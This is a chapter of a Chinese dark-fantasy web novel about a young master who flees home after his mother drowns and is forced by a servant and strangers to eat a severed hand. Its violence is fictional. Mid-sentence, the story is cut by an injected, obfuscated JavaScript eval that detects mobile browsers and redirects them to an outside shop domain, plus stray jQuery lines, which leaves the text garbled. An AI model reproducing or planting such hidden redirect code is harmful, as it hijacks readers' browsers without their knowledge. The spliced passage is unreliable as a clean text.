五少爷是在夜里跑的。
半夜。
在忠心耿耿的老仆打掩护下,五少爷一路逃到十数里外。
老仆姓黄,昔年受过月娘救命之恩,伺候了月娘几年,月娘就生了五少爷,于是又被送去照应五少爷。因为别人她都信不过,她只信黄婆子。
黄婆子果然不曾辜负她的信任。
投水那夜。
碧波荡漾,冷月凄寒。
月娘双手握住单薄的肩膀,牙齿冻得咯咯直响时,她动摇了。
黄婆子便在后面推了她一把。
只一下,就叫她扑通一声,如冷月溶水,只浮出一张惨碧青白的脸。
月娘死后,便轮到五少爷。
五少爷白日里刚为月娘的死与家主顶嘴,挨了好一顿训斥,心中正忿恨。是以翻来覆去,死活睡不着。过了许久,终于熬过最清醒的时候,勉强睡下。
睡梦里。
五少爷盼见了月娘。
月娘正对着太阳翻着十根青葱似的指尖,再命人一点一点绑紧她刚染得鲜红的指甲。
五少爷看得痴住,几乎忍不住落下泪来。
然而。
一阵钻心的疼蓦地将他惊醒。
他疼得面色惨白,惊惶失措张开眼。
才发现一根泛着寒意的绣花针已挑进他的指甲缝里,而床头则站着一张皱巴巴的脸。
五少爷被吓得魂飞魄散,险些以为自己已经命丧黄泉,见到了牛头马面。
黄婆子沙哑道:“该上路了,五少爷。”
五少爷听出熟悉的喉咙,松一口气。他攥紧被角,慢慢坐起来,喉咙也很沙哑:“去、去哪儿?”
他茫然地望着黄婆子,心中惶恐不安。
黄婆子道:“去找月姨娘留给您的一个人。”
“什么人?”五少爷还处在浑浑噩噩中,迷茫道,“我怎么从没听过这个人?”
黄婆子道:“因为这人与月姨娘有约在先,只有月姨娘死去,五少爷无依无靠之时,他才会出现。”
五少爷似乎有些明白了,他咽了咽口水:“可、可……”
黄婆子难听的嗓子一叠声催促道:“五少爷请快些起身,速速跟老奴上路。”
她催得着急,几乎不给他理清思绪的机会。
五少爷年纪尚小,本没什么主见。一时间,他不禁心乱如麻。
他压根就没听姨娘说过有这么一回事,因此下意识抗拒,但姨娘又死得突然。姨娘什么话都没留给他,只留下一个黄婆子。
黄婆子是他记事起就跟着他的人,姨娘信任黄婆子,远胜他的父亲。
……
思定。
五少爷咬咬牙,决定豁出去。
他在黄婆子伺候下迅速穿戴好,一老一少飞快穿过庭院数条小道。
那些小道,许多都是五少爷闻所未闻的,他跟着黄婆子,内心的震荡无以复加。就像一觉醒来后,却错愕地得知姨娘已经溺水而亡。
逃出殷府,先躲进一家客栈的马厩。一刻钟后,黄婆子低声唤他,再翻身钻进不知哪里套来的马车。
马车慢行数里,逐渐望不见殷府时,一记鞭子被猛地抽下。
马顿时撒开蹄子狂奔。
五少爷坐在舒适的马车内,却一点也不痛快。他一着急就容易出汗,此刻,他的额头、鼻尖已沁出颗颗分明的汗珠。
往日对他体贴备至的黄婆子就坐在他的对面,却漠然地直直望着前方。
隔着一道布帘,最前方,另有一道漆黑的人影。
黄婆子在和那人交谈:“去六道巷。”
那人鞭子一甩,低沉应一声,问:“月娘果真死了?”
黄婆子道:“你不是已经挖过她的坟,亲眼见到了吗?”
那人笑了一声:“原来你知道。但你不能怪我,是月娘与我们有约在先,我不得不谨慎。”
黄婆子一双浑浊丑陋的老眼盯着那道布帘。
她那副眼神可怕至极,仿佛要把那道布帘盯穿,再活生生把那个人的心脏挖出一个洞。
“你把她吃了?”黄婆子幽幽问道。
那人答:“我不吃死人。”
黄婆子厉声问:“那她尸身如今所在何处?”
那人也厉声答:“月娘素来最看重她的一副好容貌。如今她死相凄惨。与其让尸身烂成泥地里的一堆腐肉,不如干脆了当,一把火烧个干净。”
他的声音阴沉下来,透过布帘,被风吹进来,像一把粗粝的沙子。
“她死了,是对的。”
他道:“只有她死了,她的儿子才能活出个人样。”
黄婆子静了许久,苍老的话语中流露出一丝寂寥,道:“可她已经死了,她看不见了。”
“她看得见,”那人的语气幽幽,像黑夜里跳动的鬼火,忽明忽灭,“在她决定去死的那一刻,她已经看见了。”
……
马车再次陷入了死寂。
马蹄声嘚嘚地响。
五少爷死死扣住双手,指甲深深陷进虎口。不敢开口,也不敢抬头。
他不知道他们到底是什么人,更不清楚姨娘又是如何认识的他们。
姨娘分明只是个柔弱的女人,被他父亲娇养着,连绣花针都碰不得。平日里唯一能做的,也不过是莳花弄草,唱曲抚琴。
可一夜之间,她似乎突然变成了他不认识的模样。
夜里开始起雾。
五少爷面色惨白,忍不住懊悔。
他想回头看一眼早已消失在身后的殷府。但面对着同样变得陌生的黄婆子,他竟然不敢。
大雾苍茫,他渐渐看不清眼前的路。
后半夜。
马车停在一家客栈外。
-
五少爷下了车,在客栈稍作休整。
翌日清晨。
曙光把窗纸染得雪白。
五少爷被外面的动静吵醒,猛地朝门砸去一只枕头,又突然惊起,他已经不是在家里。
清醒过来后,他在床榻上愣了好久。
五少爷穿着单薄的寝衣,寝衣和窗纸一样雪白。赤着脚走到窗边时,他整个人几乎毫无血色。
他立在窗边偷偷地朝楼下望。
楼下没有人,只有一条长满苔藓的青石板路。
窗边栽着几棵树,树上有鸟,鸟鸣声不绝于耳。
他感到心烦意乱,没好气地随手抓起一样东西掷鸟。
鸟雀扑棱棱地散开。
唯独一只乌鸦静静立在树梢头。
五少爷作势又驱赶了几回,可这乌鸦仍旧不动如山,仿佛笃定他拿它没办法。
心里暗骂了声晦气,五少爷砰地用力甩上窗。
依照黄婆子的叮嘱,他一整天都把自己关在屋子里,哪儿也没去,更没让任何人瞧见他的脸。
中途,黄婆子给他送过两餐饭。
接过她手里的饭菜时,他有心去问黄婆子,自己究竟身在何处。
但黄婆子一出了殷府,就像变了个人。
不再是从前那个沉默寡言、忠厚敦实的老仆,而像个苍老枯槁的鬼魂。
阴冷尖刻,鬼鬼祟祟。
五少爷每次瞧见她那双眼白浑浊的死鱼眼,都不觉悚然。那样的眼神凝注他,就好像在凝注一个死人。
他身上鸡皮疙瘩一粒粒起来。
五少爷恶狠狠嚼着口中的米饭,就好像在嚼这一粒粒的鸡皮疙瘩。
嚼干净,咽下去。
一碗米饭狼吞虎咽吃个精光。
畏惧也好像被吞食得精光。
黄婆子就垂首侍立在门口,只等他吃完。
见他搁下碗筷,她深深弯下腰。
门敞得更开了。
夜里风大,狂风拍打着窗户,乌鸦嘶鸣,在昏暗的夜色拉出长长一声凄厉的鸣叫。窗户被狂风陡然撞开,他猛然回头。
两粒血渍幽幽嵌在乌鸦的眼眶里。
五少爷顿时心惊肉跳。
再定睛一看。
原来只是它的两颗红眼珠。
……
黄婆子沙哑的喉咙压得很低:“故人已久候多时,五少爷请跟老奴上路。”
五少爷僵住一瞬,竟突然不要命地冲窗外跳去。
黄婆子两颗鼓得凸起的眼珠几乎立刻要从凹陷的眼窝中蹦出。她扑到窗边,恶狠狠揪住五少爷的衣领。
黄婆子厉声逼问道:“五少爷是想逃吗?”
五少爷冷汗直下,面色仓惶推拒道:“我不去了,我不去了!我后悔了,我要回家,我要回殷家!”
他不住地挣扎。
到最后,他的声音几乎凄厉得像一只猫在尖叫:“送我回去!送我回去!”
尚且稚嫩清秀的五根短短指头拼命朝窗外抓了抓。
隔着一扇窗,乌鸦仿佛被抓痛了似的,骤然腾起,在沉沉暮色中盘旋着发出一声又一声尖锐细长的嘶鸣。
哐啷一声。
门被重重摔上。
瘦小的人影被矮胖的人影拖走了。
屋子里空荡荡,只有窗户依然在被狂风鞭打,发出被锈蚀后锯骨头般粗粝的响。
两粒血渍迎着狂风朝浑浊的鱼眼珠子猛然追去。
凄冷的月亮挂在枝头。
-
一只手将门叩响。
门内。
有人问:“找到了?”
门外。
一个人答:“找到了。”
“在哪儿?”
“六道巷。”
“月娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861731|212029||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的尸身呢?”
“他们说,烧了。”
“烧了?”
“是,烧了。”
默然良久。
叹一口气:“继续盯着罢。”
“那么,五少爷……”
“倘若事成,就带回来。倘若败了……”又叹一口气,“就杀了罢。”
“毁掉他的脸,切去他的指头,不要让人认出他。”
“是。”
……
毁掉他的脸。
切去他的指头。
不要让人认出他。
一只乌鸦血红的眼珠紧紧盯着树下方的院子。
乌鸦旁边,还蹲着一个人。
一个面色青白,像死人一样的活人。
院子里算上他,总共三个活人。但很快,只会剩下一个。
他的手压在刀上。
刀已出鞘。
刀身雪白,刀刃却泛着惨碧的光。
他的双眸也惨碧。
像一条毒蛇的眼睛,紧紧盯住那截脆弱的脖颈。
但被盯住的人却毫无知觉。
他只看见了面前人的可怖。
面前这个,不知是人是鬼的东西,皴白的一张脸,浮肿如鱼泡的眼,还有面颊两团夸张的胭脂红,实在滑稽可笑。
然而五少爷却笑不出。
他嗅到了一股臭味。
尸臭。
就像姨娘身上那样。
五少爷怀疑那两团可笑的腮红下遮住的,兴许是尸斑。
-
黄婆子像条看门的恶狗站在后面。
五少爷原本是这条恶狗的主人,但如今,他只是被恶狗咬着裤脚、驱赶到圈栏里的羊。
不人不鬼的东西对他身后说:“月娘就养出了这么个东西?”
他道:“他的胆子看起来可不够大。”
“那是因为没吃过人,”黄婆子嘶声道,“吃了,胆子自然就大了。”
“是么?”
这东西不置可否,瞥了五少爷一眼,态度十分冷淡。
然后慢慢向五少爷走去。
他一身黑,宽大的袍袖被风吹得鼓起时,张开有如蝙蝠的双翼。
他还提着一把刀。
五少爷就眼睁睁瞧着这把刀朝自己走来。
他原本就在哆嗦,此刻抖得愈发厉害。他踉踉跄跄,作势后退。可他的腿早已吓得发软。
他的腿一软,脚就站不稳,脚站不稳,便只能一屁股坐到地上。
所幸,没人笑话他。
所有人都盯着那把刀。
刀猛然举起。
刀光雪亮,在狂风大作的暗夜中蓦然照亮了五少爷惨白的脸。
刹那间,血光四溅。
……
院子里总共四个人。
两个全须全尾的在看,一个自断手臂的在胁迫另一个趴在地上的去吃他的手。
……
五少爷被掐住脖子,张开嘴吃完那只手后,忽然发出了凄厉的嚎叫,犹如鬼婴夜啼。
乌鸦八风不动,仍旧蹲在枝头。
乌鸦身旁的人也没动。
他无声无息,鬼魂般向树下俯瞰。
五少爷苍白的脸渐渐爬上诡异的黑纹。他在一团古怪阴森的黑雾里撒泼打滚、扭曲哭号。直到黑雾一点一点钻入他的血肉,他漫长而尖锐的哀嚎才变得微弱。
挣扎不动,没了力气。
像一条死狗趴在地上,舌头吐出来,也是密密麻麻的黑纹。
四对眼睛盯住他。
他一动不动,像个死人。
过了很久,黄婆子开始颤抖,以为他没撑过去,正要忍痛上前为他收尸时,他的两根指头忽然动了动。
黄婆子狂喜,扑过去紧紧抱住他,嘴里不住地颤声喊着:“五少爷,五少爷。”
五少爷睁开的眼睛布满红血丝,整个人都在抖。
他粗鲁地推开黄婆子,一眼都没看她。急促地喘息几次后,五少爷开始竭力去抠自己的喉咙。
拼命拼命地抠,再拼命拼命地呕。
却只呕出一滩黄水。
黄婆子本就佝偻的背越发驼得厉害了。
“老天保佑,老天保佑。”她喃喃道。
这时候,她似乎又变成那个忠心耿耿的老仆了。
树干轻轻地摇晃,蹲着的一双腿慢慢立了起来。
蝙蝠的眼睛先看见了这双腿。
他捂住断臂的切口,嘶声道:“快走!是——”
是什么?
他到最后也没说得出。
惨碧的刀光划破长夜。
乌鸦嘶鸣着在天上盘旋。
五少爷浑浑噩噩地抬起头,眼前一明、又一暗,终于彻底昏死了过去。